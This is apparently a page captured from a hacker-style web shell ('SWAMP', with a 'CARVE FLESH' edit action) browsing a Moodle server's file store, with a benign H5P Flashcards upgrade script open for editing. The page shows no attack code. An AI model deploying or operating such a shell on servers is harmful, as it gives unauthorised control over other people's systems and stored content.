░▒▓████████████████████████████████▓▒░ ░▒▓█ ▓▒░ ░▒▓█ ~ S W A M P ~ ▓▒░ ░▒▓█ ▓▒░ ░▒▓████████████████████████████████▓▒░
pplmvsvm
LOCATION:
/datadrive/moodledata/filedir/fb/87
☗ ROOT
↻ REFRESH
✎ CARVE FLESH
EDITING: fb87675de0f3a7f9d346d2ce8d25ef25f37d14ae
/** @namespace H5PUpgrades */ var H5PUpgrades = H5PUpgrades || {}; H5PUpgrades['H5P.Flashcards'] = (function () { return { 1: { /** * Asynchronous content upgrade hook. * Upgrades parameters to support alternative answers separated by |. * * @params {object} parameters Parameters. * @params {function} Callback to pass new values to. * @params {object} extras Extras such as metadata. */ 6: function (parameters, finished, extras) { if (parameters && Array.isArray(parameters.cards)) { // Escape | in answers for (var i = 0; i < parameters.cards.length; i++) { if (typeof parameters.cards[i].answer === 'string') { parameters.cards[i].answer = parameters.cards[i].answer .replace(/\|/g, '\\|'); } } } // Done finished(null, parameters, extras); }, 7: function (parameters, finished, extras) { if (parameters && Array.isArray(parameters.cards)) { for (var i = 0; i < parameters.cards.length; i++) { if (typeof parameters.cards[i].answer === 'string') { parameters.cards[i].answer = parameters.cards[i].answer .replace(/\\\|/g, '__TO_BE_AN_UNESCAPED_PIPE__') // Replace escaped pipe symbol with placeholder .replace(/\|/g, '__TO_BE_AN_UNESCAPED_FORWARD_SLASH__') // Replace pipe symbol with placeholder .replace(/\//g, '__TO_BE_AN_ESCAPED_FORWARD_SLASH__') // Replace slash placeholder .replace(/__TO_BE_AN_UNESCAPED_PIPE__/g, '|') .replace(/__TO_BE_AN_UNESCAPED_FORWARD_SLASH__/g, '/') .replace(/__TO_BE_AN_ESCAPED_FORWARD_SLASH__/g, '\\/'); } } } finished(null, parameters, extras); } } }; })();
CANCEL
Name
Type
Size
Modified
Actions
↩ ..
DIR
—
—
📄 fb87675de0f3a7f9d346d2ce8d25ef25f37d14ae
?
1.8 KB
2024-10-01 12:34
EDIT